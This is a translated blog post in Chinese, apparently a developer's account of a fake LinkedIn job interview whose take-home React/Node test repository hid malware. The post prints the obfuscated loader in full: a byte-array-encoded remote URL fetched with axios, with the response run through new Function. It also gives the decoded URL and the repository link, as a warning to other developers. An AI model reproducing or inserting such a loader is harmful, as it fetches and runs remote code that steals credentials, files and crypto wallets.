编程笔记

lifelong learning & practice makes perfect

译|面试官引诱我安装恶意软件(我是如何在一次“工作面试”中差点被黑的)

我差30秒就在我的机器上运行了恶意软件。

攻击媒介?来自一家“合法”区块链公司的虚假编程面试。

以下是一个复杂的诈骗操作如何几乎骗到我,以及为什么每个开发人员都应该阅读这篇文章。

骗局的设置

上周,我收到了 Mykola Yanchii 的一条 LinkedIn 消息。他是 Symfa 的首席区块链官。真实的公司。真实的 LinkedIn 个人资料。1000 多个联系人。一切看起来都很完美。

消息写得很流畅、专业。“我们正在开发 BestCity,一个旨在改变房地产工作流程的平台。有兼职职位。灵活的结构。”

我做了 8 年的自由职业者。构建过 Web 应用程序,参与过各种项目,也做过代码审查。我通常对安全问题很偏执——或者说我自以为是。

这看起来很合法。所以我同意了通话。

诱饵

在我们见面之前,Mykola 给我发了一个“测试项目”——这是技术面试的标准做法。一个用于评估我技能的 React/Node 代码库。30 分钟的测试。很简单。

Bitbucket 仓库看起来很专业。干净的 README。合适的文档。甚至还有那张公司里常见的、一个女人拿着平板电脑站在房子前的照片。你懂的。

这就是我差点搞砸的地方:我开会要迟到了。只有大约 30 分钟的时间来审查代码。所以我做了懒惰的开发人员会做的事情——我开始在没有先运行代码的情况下到处翻看代码库。

通常,我会沙箱化所有东西。Docker 容器。隔离的环境。但我当时很匆忙。

我花了 30 分钟修复了明显的错误,添加了一个 docker-compose 文件,清理了代码。都是些标准操作。准备好运行它并展示我的工作。

然后我有了那种偏执的开发人员时刻。

幸免于难

在敲下 npm start 之前,我向我的 Cursor AI 代理提出了这个提示:

“在我运行这个应用程序之前,你能看看这个代码库中是否有任何可疑的代码吗?比如读取它不应该读取的文件,访问加密钱包等。”

然后,我惊呆了。

在 server/controllers/userController.js 的正中间,坐落着这个“杰作”:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//Get Cookie
(async () => {
const byteArray = [
104, 116, 116, 112, 115, 58, 47, 47, 97, 112, 105, 46, 110, 112, 111, 105,
110, 116, 46, 105, 111, 47, 50, 99, 52, 53, 56, 54, 49, 50, 51, 57, 99, 51,
98, 50, 48, 51, 49, 102, 98, 57
];
const uint8Array = new Uint8Array(byteArray);
const decoder = new TextDecoder('utf-8');
axios.get(decoder.decode(uint8Array))
.then(response => {
new Function("require", response.data.model)(require);
})
.catch(error => { });
})();

混淆的。鬼鬼祟祟的。邪恶的。而且 100% 活跃——嵌入在合法的管理功能之间,一旦访问管理路由,就会以完整的服务器权限执行。

我解码了那个字节数组:https://api.npoint.io/2c458612399c3b2031fb9

当我第一次访问该 URL 时,它是活动的。我获取了有效载荷。纯粹的恶意软件。那种会窃取一切的东西——加密钱包、文件、密码,你的整个数字存在。

更绝的是:该 URL 在 24 小时后就失效了。这些家伙不是在开玩笑——他们已经设置了他们的基础设施来快速销毁证据。

我通过 VirusTotal 运行了有效载荷——自己看看行为分析。剧透警告:它很恶心。

骗局的操作

这不是一些业余的骗局。这是复杂的:

  • LinkedIn 个人资料: Mykola Yanchii 看起来 100% 真实。首席区块链官。合适的工作经历。甚至还有那些关于“创新”和“区块链咨询”的令人尴尬的 LinkedIn 帖子。
  • 公司: Symfa 有一个完整的 LinkedIn 公司页面。专业的品牌。多名员工。关于“用区块链改造房地产”的帖子。他们甚至还有附属页面和关注者网络。
  • 方法: 最初的接触中没有危险信号。专业的语言。合理的项目范围。他们甚至使用 Calendly 进行日程安排。
  • 有效载荷: 恶意代码被战略性地放置在服务器端控制器中,准备在访问管理功能时以完整的 Node.js 权限执行。

心理学

这就是为什么这如此危险:

  • 紧迫性: “在会议前完成测试以节省时间。”
  • 权威性: LinkedIn 验证的个人资料,真实的公司,专业的设置。
  • 熟悉度: 标准的带回家的编程测试。每个开发人员都做过几十个这样的测试。
  • 社会认同: 拥有真实员工和真实联系的真实公司页面。

我差点就上当了。而我对这些东西很偏执。

教训

一个简单的人工智能提示让我免于灾难。

不是花哨的安全工具。不是昂贵的杀毒软件。只是在执行未知代码之前,让我的编码助手查找可疑模式。

可怕的是什么?这种攻击媒介对开发人员来说是完美的。我们整天下载和运行代码。GitHub 仓库、npm 包、编程挑战。我们大多数人并不会对每件事都进行沙箱化。

这是服务器端恶意软件。完整的 Node.js 权限。可以访问环境变量、数据库连接、文件系统、加密钱包。一切。

规模

如果这种复杂的行动正在大规模地针对开发人员,那么已经有多少人受到了攻击?他们现在在多少个生产系统中?

  • 完美的定位: 开发人员是理想的受害者。我们的机器包含了王国的钥匙:生产凭证、加密钱包、客户数据。
  • 专业的伪装: LinkedIn 的合法性、真实的代码库、标准的面试流程。
  • 技术复杂性: 多层混淆、远程有效载荷传递、死人开关、服务器端执行。

一次成功的感染可能会危及大公司的生产系统、价值数百万的加密货币持有量、成千上万用户的个人数据。

底线

如果你是一名正在获得 LinkedIn 工作机会的开发人员:

  1. 始终沙箱化未知代码。Docker 容器、虚拟机,随便什么。永远不要在你的主机器上运行它。
  2. 使用人工智能扫描可疑模式。只需要 30 秒。可以拯救你的整个数字生活。
  3. 验证一切。真实的 LinkedIn 个人资料并不意味着真实的人。真实的公司并不意味着真正的机会。
  4. 相信你的直觉。如果有人催促你执行代码,那就是一个危险信号。

这个骗局如此复杂,以至于它骗过了我最初的 BS 检测器。但一个偏执的时刻和一个简单的人工智能提示就揭露了整个事情。

下次有人给你发“编程挑战”时,请记住这个故事。

你的加密钱包会感谢你的。


如果你是一名运行过 LinkedIn 招聘人员发来的“编程挑战”的开发人员,你可能应该把这篇文章读两遍。

LinkedIn 个人资料

7d89d814-b484-49ed-bb94-d80f6c9a4e0b.png

8c6823b4-dd93-4958-9aaf-f50bbf321feb.png

消息

aed5f0d5-0eaa-4670-a711-575163411278.png

ced99dd5-dd32-4007-9b0d-ac6aac757ad2.png

bit bucket

522da775-a762-4516-9c99-6b26487407a0.png

https://bitbucket.org/0x3bestcity/test_version/src/main/ - 不确定这个链接会保留多久。

原文

欢迎关注我的其它发布渠道